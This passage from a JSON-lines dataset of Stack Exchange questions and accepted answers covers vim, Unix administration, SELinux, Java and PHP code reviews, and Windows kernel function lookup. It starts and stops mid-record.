2's, two combinations to pick 3's and two combinations to pick 5's. 4*2*2 = 16.Coincidence? Absolutely not.Note that we don't actually need to do the actual prime factorization, we just need to know in how many different ways we can pick the prime factors.Assume that the prime factorization is x*x*x*y*y*z, then there will be 4*3*2 = 24 divisors for that number. No matter what the values of x, y and z are.This is just a push in the right direction, now I will leave the fun part of implementing the code up to you (or, if you really really just want the codes, which I don't recommend, you can take a look at one of my previous questions in which I have implemented this fast approach)"  } 
{  "id": "_vi.2853"  , "question": "I have lots of files named by file.tags, ncl.tags, flod.tags, ...  , fortran.tags. when  opening file.tags, I want to set tags=file.tags.And when opening ncl.tags, I want to set tags=ncl.tags,and so on.I put the following in my .vimrc, it doesn't work.let g:current_file=expand(%:t)au Bufread,BufNewfile tags set filetype=tags tags=g:current_file"  , "title": "How to set the opening file as the tags in vim?"  , "tags": "vimrc;load;tags"  } 
{  "id": "_webapps.27094"  , "question": "I'd like all emails received to my Gmail account to be starred. I've set up a filter for *, but this also stars messages in my Sent Mail. I can't use to:myaddress@gmail.com because I have a catch-all (Google Apps). Any ideas?"  , "title": "Gmailadd star to all emails received"  , "tags": "gmail"  } 
{  "id": "_softwareengineering.203214"  , "question": "I'm a new person to AI field and I have to research and compare two different architectures for a thesis I'm writing.Before you scream (homework thread), I've been reading on these two topics only to find that I'm confusing myself more.. let me first start with stating briefly what I know so far.Subsumption is based on the fact that targets of a system are different in sophistication, thus that requires them to be added as layers, each layer can suppress (modify) the command of the layers below it, and there are inhibitors to stop signals from execution lets say.PCT stresses on the fact that there are nodes to handle environmental changes (negative feedback), so the inputs coming from an environment go through a comparator node and then an action is generated by that node, HPCT or (Hierarchical PCT) is based on nesting these cycles inside each other so a small cycle to avoid crashing would be nested in a more sophisticated cycle that targets a certain location for example.My questions, am I getting this the right way? am I missing any critical understanding about these two models? also any idea where I can find simplified explanations for each theory (so far been struggling trying to understand the papers from Google scholar).Edit:The acceptable result would be to compare and contrast subsumption with PCT as alternative control structures in behaviour-based robotics.The experiments will be done on Mindstorm NXT 2.0 robot and the implementation will be done using PureData.I'm not seeking complex behavior, only several models that will demonstrate capabilities of PCT and Subsumption and come up with weaknesses and strengths about each approach.As for the other points 'rwong' mentioned, I don't believe they're part of my research scope.my main target here is to get he concepts fully understood as this is my critical phase to implement a fully correct solution that would allow the comparison"  , "title": "Subsumption architecture vs. perceptual control theory"  , "tags": "theory;artificial intelligence"  , "accepted_answer": "Yes, you have the basic concept for both of these correct. And as you have found, they are very similar. In some ways, you can consider PCT a particular implementation of Subsumption. So, here is a quick breakdown of their similarities and differences:Similarities:Have nodes or layers that typically attempt to accomplish one task. In the case of a robot, that task can be obstacle avoidance. With PCT, your design would explicitly use negative feedback (eg maximize distance to other objects).Lowest level layers/nodes are typically connected directly to a sensor(s) (on a robot).Higher level layers/nodes typically have inputs from a lower level(s) and potentially another sensor. Think wander behavior - your robot wants to move around AND has to avoid obstacles. Given that with simple obstacle avoidance, there is always something to avoid, wander needs to integrate the relative immediacy of obstacle avoidance with the higher level goal of exploration. Negative feedback approach to wander (a simple example for PCT purposes) would be to maximize the sum of your position differences and heading - picking constants that let the position grow faster than heading.Differences:PCT pretty much asks you to explicitly design negative feedback behavior.Subsumption can require more information from downstream layers for decision making (yes, I need to avoid an obstacle but is the obstacle right next to me or 100 ft away?)You could probably write out a single transfer function that combines all the hierarchies of PCT and do some normal control system analysis (stability, controllability, etc), subsumption's flexibility on your layers can make this harder since you can mix/match algorithms on how each one accomplishes it's goals"  } 
{  "id": "_codereview.32010"  , "question": "Ok, code reviewers, I want you to pick my code apart and give me some feedback on how I could make it better or more simple.public class Trie {    private static final int ASCII = 256;    private TrieNode root;    public Trie () {        root = new TrieNode();    }    private static class TrieNode {        TrieNode[] alphabets;        char ch;        String word;        String meaning;        public TrieNode() {            this.alphabets = new TrieNode[ASCII];        }        public TrieNode (char ch) {            this.alphabets = new TrieNode[ASCII];            this.ch = ch;        }    }    public void add (String word, String meaning) {        TrieNode node = root;        char[] ch = word.toCharArray();        for (char c : ch) {            if (node.alphabets[c] == null) {                node.alphabets[c] = new TrieNode(c);            }            node = node.alphabets[c];        }        node.word = word;        node.meaning = meaning;    }    public String getMeaning (String word) {        TrieNode node = root;        char[] ch = word.toCharArray();        for (char c : ch) {            node = node.alphabets[c];            if (node == null) {                return null;            }        }        return node.meaning;    }    /**     * Deletes all its children, but does not delete itself.     */    public void prune (String string) {        TrieNode node = root;        char[] ch = string.toCharArray();        for (char c : ch) {            node = node.alphabets[c];            if (node == null) {                return;            }        }        node.alphabets = new TrieNode[ASCII];        return;    }    public void print() {        printWhole(root);    }    private void printWhole(TrieNode node) {        if (node == null) {            return;        }        if (node.word != null) {            System.out.println(Word:  + node.word +  Meaning:  + node.meaning);        }        for (int i = 0; i < ASCII; i++) {            printWhole(node.alphabets[i]);        }    }    public static void main(String[] args) {        Trie trie = new Trie();        trie.add(mouse, rat);        trie.add(cop, police);        trie.add(cope, endure);        System.out.println(Expected rat, Actual:  + trie.getMeaning(mouse));        System.out.println(Expected police, Actual:  + trie.getMeaning(cop));        System.out.println(Expected endure, Actual:  + trie.getMeaning(cope));        System.out.println(Expected null, Actual:  + trie.getMeaning(co));        trie.print();        trie.prune(cop);        System.out.println(Expected police, Actual:  +trie.getMeaning(cop));        System.out.println(Expected null, Actual:  +trie.getMeaning(cope));        trie.print();    }}"  , "title": "Trie - code review request for improvement"  , "tags": "java;algorithm;tree;trie"  , "accepted_answer": "The TrieNode[] alphabets can probably be changed to a Map<Character, TrieNode>.This would have some important advantages: First, you would not consume all characters domain space (256 in your sample code) unless you actually have nodes defined for all of them. Second, if you use a HashMap or LinkedHashMap as implementation, the search algorithm is pretty fast, you won't have to iterate over the entire collection to find an element since the search is based on hashes. Third, it will make it simpler to improve your code when you want to support other languages out there using more than just 256 characters."  } 
{  "id": "_vi.10445"  , "question": "I have au BufNewFile *.cpp 0r /Users/<my_username>/.vim/template/cpp.template in my .vimrc which was such that every .cpp file I created would have the template from the cpp.template file. But now for some reason it has stopped working. My .vimrc is short too, so I'm hoping someone could figure that out?set nocompatibleset culfiletype offset rtp+=~/.vim/bundle/Vundle.vimcall vundle#begin()Plugin 'VundleVim/Vundle.vim'Plugin 'bling/vim-airline'Plugin 'vim-syntastic/syntastic'Plugin 'jiangmiao/auto-pairs'Plugin 'bogado/file-line'Plugin 'scrooloose/nerdcommenter'call vundle#end()set laststatus=2 for airlinefiletype plugin indent on all kinds of indentationsyntax enable syntax higlightingset mouse=a mouse as cursor tooset backspace=indent,eol,start backspacing on empty linesset nu number linesset ignorecase  ignore case when searchingset smartcase  ignore case if search pattern is all lowercaseTabsset expandtab for use in vim insert modeset tabstop=4 tab = 4 columnsset shiftwidth=4 for use with >> or << operatorsset softtabstop=4 weird stuffMoving cursor to other windows with shift up/down/right/leftnnoremap <s-down> <c-w>wnnoremap <s-up> <c-w>Wnnoremap <s-right> <c-w>hnnoremap <s-left> <c-w>lFor the Solarized theme in Vimset background=darkcolorscheme solarizedFor Syntasticset statusline+=%#warningmsg#set statusline+=%{SyntasticStatuslineFlag()}set statusline+=%*For Syntastic againlet g:syntastic_always_populate_loc_list = 1let g:syntastic_auto_loc_list = 1let g:syntastic_check_on_open = 1let g:syntastic_check_on_wq = 0let g:syntastic_cpp_compiler = g++Add any future templates hereau BufNewFile *.cpp 0r /Users/<my_username>/.vim/template/cpp.templateEDIT: Okay I managed to find out that bogado/file-line was the reason the template wasn't working. Any clue of why?"  , "title": "Predetermined template for every file of an extension ceased working"  , "tags": "vimrc"  , "accepted_answer": "EDIT: I though that it was likely that this plugin incorrectly registers autocommands, as you did or starts with an un-scoped :au !. Indeed :au! clears all autocommands in the context of the current group. If there are none, it'll clear everything in the global unnamed context. As you haven't defined your autocommand in a group, it means it's global, and that unscoped use of :au! will remove it.However, after reading the plugin code, I indeed see registration of unscoped autocommands, but I see none is cleared. However nested autocommands are used. I don't know why it conflicted with your declaration.The good practice is to always register autocommands in autocommand groups. This should prevent name conflictsaug SomeGroupWithAnUniqueName  au!  au whatever you wishaug END"  } 
{  "id": "_datascience.17116"  , "question": "I have a collection of data points. Each point has 6 dimensions (x1, x2,...x6). I want to find a relation between two dimension (e.g. x1 vs x2). What I have been doing so far is look for points where the other dimensions (x3 to x6) are relatively constant, by defining a band. This way I would get several groups of data points where only the two dimensions of interest would change. I was wondering if there is a better way of analyzing the relationship between these two dimensions. I looked at PCA, but I have a feeling that it does not help me much. If I reduce the problem to two dimensions the axes are basically meaningless.Can you guys give me some directions to look at?"  , "title": "Finding the relation between two dimensions in a multi-dimensional problem"  , "tags": "dimensionality reduction"  } 
{  "id": "_codereview.5262"  , "question": "Please give me any comment about these codes. Does it enough to prevent SQL injection? What I have to do to make the code better?<?php    /**     * Description of MySql     * @name MySQL PDO     * @version 1.0     * @author Yauri     *      */    class MySql {        private $mPDO;        public function __construct($dbHost,$dbName,$dbUser,$dbPass) {            try {                $this->mPDO = new PDO(mysql:host=$dbHost;dbname=$dbName, $dbUser, $dbPass);                //$this->mPDO->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);                $this->mPDO->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_WARNING);            }            catch(PDOException $e){                die($e->getMessage());            }        }        /**         * Method for executing query         * @param string $query          * @data array Used on queryUpdate method         * @return array Result of query         */        public function query($query){            $exec = $this->mPDO->prepare($query);            if($data) $exec->execute($data);            else $exec->execute();            $result = $exec->fetchAll();            return $result;        }        /**         * Method for selecting data         * @param $table string          * @param $column array         * @return array Result of query         */        public function querySelect($table, $column, $where=NULL, $limit=NULL){            if($column!=*){                $column = $this->buildColumn($column);            }            if(isset($where)){                $condition = $this->BuildWhere($where);                $query = SELECT {$column} FROM {$table} {$condition};            }            else {                $query = SELECT {$column} FROM {$table};            }            if(isset($limit)){                $query .=  LIMIT {$limit};            }            $exec = $this->mPDO->prepare($query);            if(isset($where)){                $exec->execute(array_values($where));            }            else{                $exec->execute();            }            return $exec->fetchAll();        }        /**         * Method for insert         * @param string $tableName         * @param array $data  Specify array keys as database column name          * @return boolean         */        public function queryInsert($tableName, $data) {            $dataString = $this->buildInsert($data);            $query = INSERT INTO {$tableName} {$dataString};            $exec = $this->mPDO->prepare($query);            if($exec->execute(array_values($data))){                return true;            }            else{                return false;            }        }        /**         * Method for update         * @param string $tableName         * @param array $data  Specify array keys as database column name          * @param array $where  Specify array keys as database column name          */        public function queryUpdate($tableName, $data, $where) {            $update = $this->buildUpdate($data);            $condition = $this->buildWhere($where);            $query = UPDATE .$tableName. SET {$update} {$condition};            $exec = $this->mPDO->prepare($query);            $paramVal = array_merge(array_values($data),array_values($where));            $exec->execute($paramVal);            if($exec->rowCount()){                return true;            }            else {                return false;            }        }        /**         * Method for delete         * @param string $tableName         * @param array $where You must specify the key as column name          */        public function queryDelete($tableName, $where) {            $condition = $this->buildWhere($where);            $query = DELETE FROM {$tableName} {$condition};            $exec = $this->mPDO->prepare($query);            $paramVal = array_values($where);            $exec->execute($paramVal);            $count = $exec->rowCount();            if($exec->rowCount()){                return true;            }            else {                return false;            }        }        /**         * Method for build a string for insert query         * @param array $data You must specify the key as column name         */        private function buildInsert($data) {            $length = count($data);            $column =  (;            $values =  VALUES (;            foreach($data as $key => $val) {                if($length != 1){                    $column .= $key., ;                    $values .= ?, ;                }                else {                    $column .= $key;                    $values .= ?;                }                $length--;            }            $column .= );            $values .= );            return $column.$values;        }        /**         * Method for build a string for update query         * @param array $data You must specify the key as column name         */        private function buildUpdate($data){            $length = count($data);            $updateData = ;            foreach($data as $key => $val){                if($length!=1) {                    $updateData .= $key. = ? , ;                }                else{                    $updateData .= $key. = ?;                }                $length--;            }            return $updateData;        }        /**         * Method for build a string for selected column         * @param array $column         * @return string          */        private function buildColumn($column){            $length = count($column);            $selectedColumn = ;            foreach($column as $val){                if($length!=1) {                    $selectedColumn .= $val., ;                }                else{                    $selectedColumn .= $val;                }                $length--;            }            return $selectedColumn;        }        /**         * Method for build a string for query which using condition         * @param array $where You must specify the key as column name          * @return string         */        private function buildWhere($where) {            $length = count($where);            $condition =  WHERE ;            foreach($where as $key => $val){                if($length!=1) {                    $condition .= $key. = ? AND ;                }                else {                    $condition .= $key. = ?;                }                $length--;            }            return $condition;        }    }    ?>"  , "title": "MySQL PDO class"  , "tags": "php;mysql;pdo"  , "accepted_answer": "Your BuildInsert-method is the only one which uses mysql_real_escape_string. Why? Why not just use parametrized queries like in your select, update and delete cases?Your query method uses a variable $data which is not defined. Probably a missing parameter.if($exec->execute()){    return Insert into database succeed.;}else{    return Insert into database failed.;}This is bad, don't return a string when a bool would suffice. What if you want to translate your application?Sometimes you use method names beginning with a lower case like queryInsert and in other cases you start with an upper case like QueryUpdate. Be consistent.$mQuery - this could be replaced by a local variable. Except you want to extend your class so you can fetch the last query. Otherwise: ditch it.$mDbHost - not used, ditch it.UpdateThis:if($exec->execute(array_values($data))){    return true;}else{    return false;}can be written as:return $exec->execute(array_values($data));There's also a special case for update and delete which might return a count of affected rows. I would solve it like that:if($exec->execute($paramVal)){    return $exec->rowCount();}else {    return false;}That way you can check if the query failed by using the !== or ===-operators e.g.:$rowsDeleted = $yourpdo->queryDelete(posts, array(PostID => 5));// $rowsDeleted might be 0 if the post with id 5 does not exist so // check with ===if($rowsDeleted === false) {    echo There was an error;} else {    echo {$rowsDeleted} rows affected;} The wording for your documentation would be returns the number of rows affected or FALSE on error."  } 
{  "id": "_unix.244453"  , "question": "I have disabled accidental touchpad click to activate background windows. However, when I move two fingers or my palm along the touchpad, this generates wheel events and they activate whichever window the cursor is on. Any tips on how to prevent that?To be clear, I would like to be able to scroll a window using the touchpad, without bringing it into focus.I'm using the i3 window manager (iw3m). There is no desktop environment.I am using X11 via startx.Example:Let's say I have two terminals open.I am typing in the first terminal, but my mouse is currently over the second terminal.I have follow mouse off so the first terminal is still the active terminal.I pause in my typing and accidentally scroll the second terminal with my palm on the touchpad.Now remember I have touchpad tapping off, but I accidentally scroll on the touchpad over the second terminal.Now my focus is on the second terminal, I do not want that."  , "title": "Can I scroll background window without giving it focus in i3wm"  , "tags": "x11;mouse;i3;focus"  } 
{  "id": "_softwareengineering.303638"  , "question": "I'm wondering if I can switch from Java to Scala in a Spring + Hibernate project to take advantage of some Scala features such as pattern matching, Option and what it seems to me a cleaner syntax in general. I've been looking for the ORM by default in the Scala ecosystem and I've found thinks like Activate (but mostly I try to find if Hibernate can be used with Scala). Searching for this I've read this in the Play documentation about JPA + Scala.But the most important point is: do you really need a Relationnal to  Objects mapper when you have the power of a functional language?  Probably not. JPA is a convenient way to abstract the Javas lack of  power in data transformation, but it really feels wrong when you start  to use it from Scala.I don't have a deep understanding of how to use functional programming to create a complete application (that's why I intend to use Scala so that I can understand this incrementally, since it combines OO + Functional), so I can't figure out why I would not need an ORM with a functional language and what would be the functional approach to tackling persistence of the domain model.A DDD approach for the business logic still makes sense with Scala, doesn't it?"  , "title": "Why would I not need an ORM in a functional language like Scala?"  , "tags": "scala;functional programming"  } 
{  "id": "_unix.41765"  , "question": "I have two machines with two applications that talk to each other on few network ports (TCP and UDP). I want to count traffic that they send and receive. I need not only overall count but stats per machine per port per day. I tried darkstat, but it doesn't provide stats per day, but only overall counters.Is there other way that I can count that traffic (I can put some proxy or gateway between that two machines)."  , "title": "Traffic stats per network port"  , "tags": "networking;statistics"  , "accepted_answer": "iptables can give you statistics about how many each rule was triggered, so you can add LOG rules on the ports of interest (lets say port 20 & port 80):iptables -A INPUT -p tcp --dport 22iptables -A INPUT -p tcp --dport 80and then iptables -n -L -vwill give you number of packets and bytes sent through this ports. Of course you will have to parse from the output the ports that interests you.If you need exact values, add an -x:iptables -n -L -v -x"  } 
{  "id": "_unix.289733"  , "question": "Running RHEL6.6.  Been trying to secure the system, and am having difficulty disabling root logins over the serial connection.My understanding is that I need to comment-out/remove the ttyS0 line, however the next time I reboot/login, the file has been modified and again contains the line ttyS0.I should note that I am accessing/configuring the server using this serial port.[steve@localhost ~]$ sudo cat /etc/securettyconsolevc/1vc/2vc/3vc/4vc/5vc/6vc/7vc/8vc/9vc/10vc/11tty1tty2tty3tty4tty5tty6tty7tty8tty9tty10tty11ttyS0[steve@localhost ~]$EDITI located an equivalent question on the redhat websiteSimilar to what Stephen Harris answered, the solution is to comment out the line pre-start exec /sbin/securetty $DEVin /etc/init/serial/conf"  , "title": "Can't remove ttyS0 from /etc/securetty"  , "tags": "rhel;root;tty;serial port;serial console"  , "accepted_answer": "In RedHat 6 there is an upstart script /etc/init/serial.conf that will ensure the console is designated a secure terminal before starting the getty process, and so ensuring root can login on the console.You may be better off setting the root password to something unknown, thus forcing people to always login as a non-root user and then using sudo to switch to root for those authorised to become root."  } 
{  "id": "_unix.84699"  , "question": "How can I first download KDE files and then install them offline on Ubuntu?"  , "title": "How can I first download KDE files and then install them offline on Ubuntu?"  , "tags": "ubuntu;apt;dpkg;aptitude"  } 
{  "id": "_codereview.112375"  , "question": "This is my implementation of the (open) Knight's Tour on a 5v5 board. My original assignment for CS was to solve the Knight's Tour from any startings position (0,0 -> 4,4). The goal for myself was to make this class as clean as it could be. I would like some feedback (and constructive criticism!) on the code and its performance.I have used the StdDraw class from Princeton to display the 5v5 board with graphics. private final int N;private final int startX;private final int startY;private boolean[][] visited;private boolean done;private final int[][] moves = {{1, -2}, {2, -1}, {2, 1}, {1, 2}, {-1, 2},        {-2, 1}, {-2, -1}, {-1, -2}}; //x, y.private int[][] board;private int total;    public Board(final int N, final int startX, final int startY) {    this.N = N;    this.startX = startX;    this.startY = startY;    visited = new boolean[N][N];    board = new int[N][N];    init();}private void init() {    for (int x = 0; x < N; x++) {        for (int y = 0; y < N; y++) {            visited[x][y] = false;            board[x][y] = -1;        }    }    done = false;    total = N * N;}public boolean solve() {    board[startX][startY] = 0;    return solve(startX, startY, 0);}private boolean solve(int x, int y, int currentMove) {    if ((x < 0) || (x >= N) || (y < 0) || (y >= N)) return false;    if (done || visited[x][y]) return false;    visited[x][y] = true;    board[x][y] = currentMove;    final List<int[]> moves = movesList(x, y);    if (moves.isEmpty())        return false;    if (hasVisitedAll()) {        done = true;    }    StdDraw.setPenColor(Color.BLUE);    if (x == startX && y == startY)        StdDraw.setPenColor(StdDraw.RED);    StdDraw.filledCircle(x + 0.5, y + 0.5, 0.25);    StdDraw.show(1_000); //1sec per next move    for (final int[] m : moves) {        int x2 = m[0];        int y2 = m[1];        if (solve(x2, y2, currentMove + 1)) {            board[x2][y2] = currentMove + 1;            return true;        } else if (isLegitMove(x2, y2)) {            visited[x2][y2] = false;        }    }    return done;}private boolean hasVisitedAll() {    int count = 0;    for (final int[] v : board) {        for (final int v2 : v) {            if (v2 >= 0) count++;        }    }    return (count == total);}private List<int[]> movesList(final int x, final int y) {    final List<int[]> move = new ArrayList<>();    for (int[] m : moves) {        int x2 = m[0];        int y2 = m[1];        move.add(new int[]{x + x2, y + y2});    }    return move;}private boolean isLegitMove(final int x, final int y) {    return ((x > 0 && x < N)) && ((y > 0 && y < N));}"  , "title": "My implementation of (open) Knight's Tour"  , "tags": "java;algorithm"  } 
{  "id": "_vi.2015"  , "question": "I use gnu screen and I run vim file1.txt and vim file2.txt in two windows. How can I copy part of the text from file1.txt and paste it to file2.txtwithout using temporary files or opening two files under the same vim instance?Basically I would like to yank in first window and paste in second one. I need shared clipboard."  , "title": "How do I copy and paste between two vim instances - shared clipboard?"  , "tags": "cut copy paste;command line"  , "accepted_answer": "One way is to just copy it to the system clipboard from the first instance, then copy it from the system clipboard in the second instance.  How exactly you would do this depends on your OS and also your vim clipboard setting.Another option is to use vim-easyclip which has the ability to share one clipboard across all vim instances (including sharing a history of yanks as well).  Internally what it does is mirror your clipboard to a temporary file, so it bypasses using your system clipboard entirely."  } 
{  "id": "_codereview.125530"  , "question": "public static long sumOfPrimes(long max){    long sum = 0;    long primes[] = new long[((int)max/2)+1];    int index = 0;    for(long counter = 2; counter <= max; counter++){        if(isPrime(counter, primes)){            sum += counter;            primes[index++] = counter;        }    }    return sum;}public static boolean isPrime(long num, long[] primes){    if(num == 2 || num == 3){        return true;    }    //System.out.println(Arrays.toString(primes));    long primesCount = primes.length;    for(int i = 0; i < primesCount; i++){        if(primes[i] !=0 && num % primes[i] == 0){            return false;        }    }    long range = (long) Math.sqrt((double)num);    if(primesCount > 0 && primes[primes.length-1] < range)    {        for(long counter = 2; counter <= range; counter++){            if(num % counter == 0){                return false;            }        }    }    return true;}This code works fine for smaller N. For larger N, it throws timeout exception.How can I improve my code? How do I fix timeout issue?"  , "title": "Sum of all the primes less than or equal to N"  , "tags": "java;primes;time limit exceeded"  , "accepted_answer": "Sieve of EratosthenesThe first possibility would be to implement the Sieve of Eratosthenes.  It's one of the more efficient ways to find all primes between 1 and N.  But there are other things we can do with your existing algorithm.  Initialize with 2    long sum = 0;    long primes[] = new long[((int)max/2)+1];    int index = 0;But you know the first prime number (at least I hope you do).  So try this     if (max < 2) {        return 0;    }    long sum = 2;    long primes[] = new long[((int)max/2)+1];    primes[0] = 2;    int index = 1;This helps a little now, but it helps a lot later since we know that 2 is the only even prime.  Since all even numbers are divisible by 2 and all primes are only divisible by themselves and 1, 2 is the only possible even prime.  Check fewer numbers    for(long counter = 2; counter <= max; counter++){This checks every number from 2 to max, but we can trivially reduce this to every odd number from 3 to max if we initialize the array with 2.      for (long counter = 3; counter <= max; counter += 2) {I also added some additional spaces, as I find they make it easier to read the code.  No evens or divisible by threeAnd we can actually do even better.  Every third odd number is divisible by three.  So     if (max < 2) {        return 0;    } else if (max == 2) {        return 2;    }    long sum = 5;    long primes[] = new long[((int)max/2)+1];    primes[0] = 2;    primes[1] = 3;    int index = 2;    int increment = 4;    for (long counter = 5; counter <= max; counter += increment) {         increment = 6 - increment;Now the increment varies between 2 and 4.  So we have 5, 7, 11 (skipping 9), 13, 17...  So we skip every number that is divisible by three.  And you can never add an even number to an odd number and get an even number, so we skip all the evens as well.  Don't use a generic isPrimeYour code uses a generic isPrime method that will work regardless of the caller.  You don't need to do that.      if(num == 2 || num == 3){        return true;    }You can skip this, as you never pass 2 or 3 to this method.      //System.out.println(Arrays.toString(primes));This is debugging code and shouldn't be sent to review.      long primesCount = primes.length;    for(int i = 0; i < primesCount; i++){        if(primes[i] !=0 && num % primes[i] == 0){            return false;        }    }You can simplify this to just     for (long prime : primes) {        if (prime == 0) {            return true;        }        if (num % prime == 0) {            return false;        }    }Now it will check that num is not divisible by any number in the primes array.  Once it reaches the first 0, that means that it is done processing and can return true immediately.  Note that if primes were a List rather than an array, you wouldn't need to check for 0, as the List would only have prime values in it.  Perhaps the performance improvement from not checking for 0 values would outweigh the increased overhead of the List.      long range = (long) Math.sqrt((double)num);    if(primesCount > 0 && primes[primes.length-1] < range)    {        for(long counter = 2; counter <= range; counter++){            if(num % counter == 0){                return false;            }        }    }You don't need this block of code.  You already checked that it's not divisible by any of the primes less than it.  You don't need to check it again with both primes and non-primes.  It's possible that you could save some time with the following optimizations:      long range = (long) Math.sqrt((double)num);    for (long i = 2; primes[i] <= range; i++) {        if (num % primes[i] == 0) {            return false;        }    }    return true;This relies on there always being at least one prime between range and num in the primes array.  You might have to preload 5 into the primes array to make this work, as this skips past 3 which is greater than range.  Alternatively you could check that primes[i] is not 0, but that would never happen if you start checking with 7.  Since we don't pass numbers divisible by 2 or 3 to this method, we don't need to attempt to divide by them.  So we start with the third prime, primes[2] which is 5.  Note that this makes isPrime dangerously fragile.  You may want to make it private rather than public to make it clear that it should only be called under limited circumstances.  Unless performance is a big issue, the previous version is more robust.  And the previous version may be faster anyway.  "  } 
{  "id": "_unix.193687"  , "question": "Background: I have a CentOS 6 LAMP server. Recently the server has started to become unresponsive every few days. Originally, mysqld would throw a nagios alert and I would be unable to even ssh into the server, a hard reset was necessary. Mysqltuner lead me to increase the buffer pool, which seemed to help. Now the symptom has changed to nagios throwing an apache http down alert. I was able to ssh into the server this time but apache failed to restart and a reboot was necessary.After looking at /var/log/messages and /var/log/audit/audit.log I see that there are hundreds of AVC errors. audit.log is several MB daily, while my other servers are just kb in size. Could this be a clue to the underlying problem?A typical /var/log/messages entry is this:Mar 31 16:50:39 web1 setroubleshoot: SELinux is preventing /bin/ps from getattr access on the directory /proc/<pid>. For complete SELinux messages. run sealert -l be51d126-d70e-491f-9ec8-f897677d9989Running it through sealert yields the following:SELinux is preventing /bin/ps from getattr access on the directory /proc/<pid>.*****  Plugin catchall (100. confidence) suggests  ***************************If you believe that ps should be allowed getattr access on the <pid> directory by default.Then you should report this as a bug.You can generate a local policy module to allow this access.Doallow this access for now by executing:# grep ps /var/log/audit/audit.log | audit2allow -M mypol# semodule -i mypol.ppHere's a typical entry in audit.log:type=SYSCALL msg=audit(1427837702.229:721164): arch=c000003e syscall=4 success=no exit=-13 a0=8164d0 a1=3eaee11cc0 a2=3eaee11cc0 a3=8164d6 items=0 ppid=2792 pid=2800 auid=4294967295 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=4294967295 comm=ps exe=/bin/ps subj=system_u:system_r:httpd_t:s0 key=(null)type=AVC msg=audit(1427837702.219:721127): avc:  denied  { getattr } for  pid=2800 comm=ps path=/proc/875 dev=proc ino=9349054 scontext=system_u:system_r:httpd_t:s0 tcontext=system_u:system_r:kernel_t:s0 tclass=dirI'm not even sure if I'm on the right track because I'm a Linux newbie. Any pointers on where to look next are appreciated. Thanks!UPDATEOk, months later it's happened again. I'm no closer to figuring out why my LAMP server is freezing up from time to time (I suspect MySQL since that is the first service to throw a nagios alert), but I know why the SE Linux alerts (from my original question) are happening: one of the sites hosted is a Magento online store, and the cron.php script that fires every five minutes is causing the SE Linux errors, every time.So my updated question is: is this something to worry about, other than the massive amounts of entries in my messages and and audit logs?"  , "title": "How do I troubleshoot these SELinux AVC errors?"  , "tags": "centos;mysql;selinux;apache httpd"  } 
{  "id": "_vi.678"  , "question": "Suppose I start Vim to edit a new file in a directory that is not yet created:vim nonExisitingDirectory/newFile.txtVim will happily show me an empty buffer and I can start writing my new file. But when I want to write the file to disk I get this error: E212: Can't Open file for writing.I presume this is because the directory does not yet exists. Is there a way to force Vim into creating the directory for me? "  , "title": "How do I save a file in a directory that does not yet exist?"  , "tags": "save;autocmd"  , "accepted_answer": "As far as I know there is no setting or some such to do this. But not all is lost, we can of course use theBufWritePre autocommand.This is executed before the buffer is written to thedisk. So we can create the directory there if it doesn't exist yet.For example:augroup Mkdir  autocmd!  autocmd BufWritePre *    \\ if !isdirectory(expand(<afile>:p:h)) |        \\ call mkdir(expand(<afile>:p:h), p) |    \\ endifaugroup ENDWe first check if the directory exists with isdirectory, otherwise mkdir gives an error.<afile> refers to the file we're trying to save; :p is a modifier to expand it to the full pathname (rather than relative), and :h removes the last path component (the file).We then call mkdir() if required. We need the p flag for mkdir() to make all parents directories (ie. in the case of nonexistent/more_nonexisting/file.You could, of course, also run the mkdir() command from the Vim commandline, or bind it to a keybind, ie:nnoremap <Leader>m :call mkdir(expand(%:p:h), p)<CR>Here I used % instead of <afile>, since that's only valid from within an autocommand (% refers to the currently active buffer, which would not work with :wa for example; <afile> refers to the filename of the buffer that triggers the autocmd).You can also ask for a confirmation before writing a directory if you want. See this question for more details: How can I stop Vim from writing a file in BufWritePre autocommand?The above snippet will create the directory on the first write (:w). You could, if you wanted, also create the directory when you first open it (i.e. just after typing vim ...) by using the BufNewFile autocmd instead of BufWritePre.There is also a plugin called auto_mkdir which is effectively the same a the above.On this pagethere is a slightly expanded snippet which also asks you if you want to create the directory first, which some may consider to be useful.   It also has converts the filename of the encoding before writing it:call mkdir(iconv(expand(%:p:h), &encoding, &termencoding), 'p')I'm not sure if this is actually required though, but if you mix encodings a lot and get weird filenames, you could try it.I put all of the above in an auto_mkdir2.vim plugin for easier installation."  } 
{  "id": "_reverseengineering.12625"  , "question": "How can I find the address of a Windows kernel function?In this case I'm trying to find CreateThread.Can this be done from a debugger? Olly/Immunity?"  , "title": "Find Address of Windows Kernel Functions"  , "tags": "windows;debuggers"  , "accepted_answer": "It can be done programmatically with a combination of NtQuerySystemInformation, LoadLibraryEx, and GetProcAddress.The code below may not work perfectly, as I don't have a Windows box to build it for testing.  However, it should move you in the correct direction.#include stdafx.h#include <string.h>#include <windows.h>enum { SystemModuleInformation = 11 };typedef struct _RTL_PROCESS_MODULE_INFORMATION {    ULONG Section;    PVOID MappedBase;    PVOID ImageBase;    ULONG ImageSize;    ULONG Flags;    USHORT LoadOrderIndex;    USHORT InitOrderIndex;    USHORT LoadCount;    USHORT OffsetToFileName;    CHAR FullPathName[256];} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;typedef struct _RTL_PROCESS_MODULES {    ULONG NumberOfModules;    RTL_PROCESS_MODULE_INFORMATION Modules[1];} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;typedef NTSTATUS (*NtQuerySystemInformationFunc)(    _In_      DWORD SystemInformationClass,    _Inout_   PVOID                    SystemInformation,    _In_      ULONG                    SystemInformationLength,    _Out_opt_ PULONG                   ReturnLength);ULONG64 GetKernelFunctionAddress(LPCSTR Name) {    NtQuerySystemInformationFunc NtQuerySystemInformation = NULL;    HMODULE hKernel = NULL;    HMODULE hNtdll = NULL;    ULONG64 KernelBase = NULL;    ULONG64 KernelFunctionAddress = NULL;    RTL_PROCESS_MODULES ModuleInfo = { 0 };    // Get the address of NtQuerySystemInformation    hNtdll = GetModuleHandle(ntdll);    NtQuerySystemInformation = (NtQuerySystemInformationFunc)GetProcAddress(hNtdll, NtQuerySystemInformation);    // Get the base address of the kernel    NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof(ModuleInfo), 